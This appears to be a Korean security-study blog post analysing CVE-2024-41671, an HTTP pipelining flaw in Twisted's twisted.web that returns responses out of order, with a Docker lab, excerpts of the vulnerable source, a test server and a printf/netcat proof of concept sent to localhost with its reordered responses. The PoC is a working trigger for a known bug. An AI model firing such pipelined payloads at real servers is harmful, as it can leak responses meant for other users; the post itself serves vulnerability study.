일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- rootfs
- kernel image
- CVE-2024-3094
- cwe-506
- xz-utils
- newbie
- kernel img
- Kernel
- kernel build
- liblzma
- 백도어
- Today
- Total
ZZoMb1E
[CVE] twisted.web module (CVE-2024-41671) 본문
1. Target
twisted.web module
- 이벤트 기반 네트워킹 엔진
- 비동기 프로그램을 위한 framework 제공
2. CVE & CWE
CVE-2024-41671
- twisted framework의 twisted.web module에서 발견된 취약점
- HTTP 1.0 및 1.1 서버가 파이프라인된 HTTP 요청을 순서대로 처리하지 못해 발생
- 정보 유출 가능
CWE-444
Inconsistent Interpretation of HTTP Requests
HTTP 요청을 다루는 클라이언트와 서버 간의 해석 불일치를 악용하는 취약점
- 공격자가 웹 서버와 프록시 간의 통신을 조작하거나 악의적인 요청 주입 가능
3. CVE 관련 정보
4. Environment
아래와 같이 Dockerfile을 생성하여 빌드했다.
FROM ubuntu:22.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \
apt-get install -y --no-install-recommends \
python3 \
python3-pip \
build-essential && \
apt-get clean && \
rm -rf /var/lib/apt/lists/*
RUN pip3 install --no-cache-dir --upgrade pip
RUN pip3 install --no-cache-dir twisted==24.3.0
CMD ["/bin/bash"]
- ubuntu 22.04
- twisted Version : 24.3.0
4. Vulnerability
HTTP 요청에 대한 응답의 경우 보통 순차적으로 처리한다.
POST1 -> POST2 -> GET 요청이 들어오는 경우 동일한 순서로 반환을 해야하는데 CVE-2024-41671의 경우 그러지 못하고 있다.
이는 요청에 대한 데이터를 처리하는 과정에서 버퍼가 혼합되거나 처리 속도로 인해 발생한다.
twisted module의 경우 비동기 모델을 사용하기 때문에 작업에 블로킹 없이 Event loop를 통해 관리한다. 때문에 다수의 요청에 있어서 병렬 처리에 장점을 보이고, 스레드 같이 다수의 프로세스를 생성하지 않아도 되기 때문에 리소스의 효율성이 좋다. 이 이점은 항상 장점으로 작용하는 것이 아니다. 파이프라인 요청의 경우 동일한 버퍼를 사용하는데 이때 충돌일 발생하면 데이터 유출이 될 수 있으며 각 요청의 타입에 따라 처리 속도가 다르기 때문에 요청된 순서대로 반환할 수 없게 된다. 처리 속도의 경우 chunked 타입의 요청을 예시로 볼 수가 있는데 chunked 타입은 대량의 데이터를 작은 단위로 전송하며 처리를 요청하는 것이다. 이 과정은 다른 요청에 비해 데이터 처리 속도가 느려 반환하는 순서에 영향을 끼치게 된다.
def _dataReceived_TRAILER(self) -> bool:
"""
Collect trailer headers if received and finish at the terminal zero-length
chunk. Then invoke C{finishCallback} and switch to state C{'FINISHED'}.
@returns: C{False}, as there is either insufficient data to continue,
or no data remains.
"""
if (
self._receivedTrailerHeadersSize + len(self._buffer)
> self._maxTrailerHeadersSize
):
raise _MalformedChunkedDataError("Trailer headers data is too long.")
eolIndex = self._buffer.find(b"\r\n", self._start)
if eolIndex == -1:
# Still no end of network line marker found.
# Continue processing more data.
return False
if eolIndex > 0:
# A trailer header was detected.
self._trailerHeaders.append(self._buffer[0:eolIndex])
del self._buffer[0 : eolIndex + 2]
self._start = 0
self._receivedTrailerHeadersSize += eolIndex + 2
return True
# eolIndex in this part of code is equal to 0
data = memoryview(self._buffer)[2:].tobytes()
del self._buffer[:]
self.state = "FINISHED"
self.finishCallback(data)
return False
취약점에 해당하는 twisted moudle의 코드 일부이다.
eolIndex = self._buffer.find(b"\r\n", self._start)
if eolIndex == -1:
# Still no end of network line marker found.
# Continue processing more data.
return False
self._buffer에서 \r\n을 검사를 수행하는데 이때 발견되지 않으면 False를 반환하고 다음 데이터를 대기한다. 여기서 파이프라인 요청을 처리하는 동안 chunked 요청이 들어는 경우 동일한 버퍼에 혼합될 가능성이 발생한다.
-> 데이터 경계가 불명확
del self._buffer[0 : eolIndex + 2]
self._start = 0
self._receivedTrailerHeadersSize += eolIndex + 2
return True
버퍼에써 끝을 나타내는 EOL을 검사하고 이후 데이터를 삭제하는 버퍼 초기화 코드이다. 이때 버퍼에 대한 분리가 제대로 이루어지지 않으면 응답 데이터가 잘못 연결될 가능성이 존재한다.
-> 하나의 요청에 대한 응답에 다른 요청의 응답이 포함되는 등 발생
-> 정보 유출
def _finishRequestBody(self, data):
self.allContentReceived()
self._dataBuffer.append(data)
요청 데이터의 본문 부분을 처리하고 나서 버퍼에 추가하는 코드이다. 여기서는 본문 데이터 경계 인식 오류로 인해서 요청에 대한 데이터가 다른 버퍼에 혼합될 수 있게 된다.
5. PoC
Dockerfile을 빌드하고 나서 python을 사용해 twsited 서버를 열어준다.
from twisted.web import server, resource
from twisted.internet import reactor
class TheResource(resource.Resource):
isLeaf = True
def render_GET(self, request) -> bytes:
return b"GET"
def render_POST(self, request) -> bytes:
return b"POST"
site = server.Site(TheResource())
reactor.listenTCP(8080, site)
reactor.run()
이후 아래와 같이 요청을 해주면 된다.
(printf 'POST / HTTP/1.1\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nPOST / HTTP/1.1\r\nContent-Length: 0\r\n\r\n'; sleep 1; printf 'GET / HTTP/1.1\r\n\r\n'; sleep 1) | nc localhost 8080
이 PoC를 분리해서 보면 총 3번의 요청을 보내고 있는 것을 알 수 있다.
POST / HTTP/1.1
Transfer-Encoding: chunked
0
POST / HTTP/1.1
Content-Length: 0
GET / HTTP/1.1
이렇게 chunked - post 방식, post 방식, get 방식 순으로 요청을 해준다. 일반적인 경우라면 요청된 순서와 동일한 순서로 반환되겠지만 취약한 twisted moudle을 사용한 서버를 대상으로 하는 경우 순서가 바뀌게 된다.
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0
Date: Tue, 21 Jan 2025 08:46:07 GMT
Content-Length: 4
Content-Type: text/html
POST
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0
Date: Tue, 21 Jan 2025 08:46:08 GMT
Content-Length: 3
Content-Type: text/html
GET
HTTP/1.1 200 OK
Server: TwistedWeb/24.3.0
Date: Tue, 21 Jan 2025 08:46:08 GMT
Content-Length: 4
Content-Type: text/html
POST
응답 받은 순서를 보면 2번째 post -> 3번째 get -> 1번째 post 순으로 받고 있다.
여기서 응답 데이터가 동일한데 각 post 방식의 응답을 구분하는 방법은 chunked 인지 아닌지로 한다.
chunked 요청은 위에서 설명한 것처럼 대용량을 분할해서 보내는 방식이기 때문에 처리 속도가 느리다는 특징이 있다. 때문에 마지막에 받은 post가 해당 요청이라고 생각할 수 있다.
6. Patch
이후 패치에서는 요청에 대한 처리 과정에서 minTrailer 크기를 검사하고 처리를 수행한다.
'STUDY > CVE && Fuzzing' 카테고리의 다른 글
[CVE] Apache2 (CVE-2021-41773 & CVE-2021-42013) (0) | 2025.01.20 |
---|---|
[CVE] nf_tabes (CVE-2024-1086) (1) | 2025.01.16 |
[CVE] nf_tables (CVE-2022-32250) (0) | 2024.11.26 |
[CVE] nf_tables (CVE-2022-1016) (0) | 2024.11.21 |
[CVE] nf_tables (CVE-2022-1015) (0) | 2024.11.15 |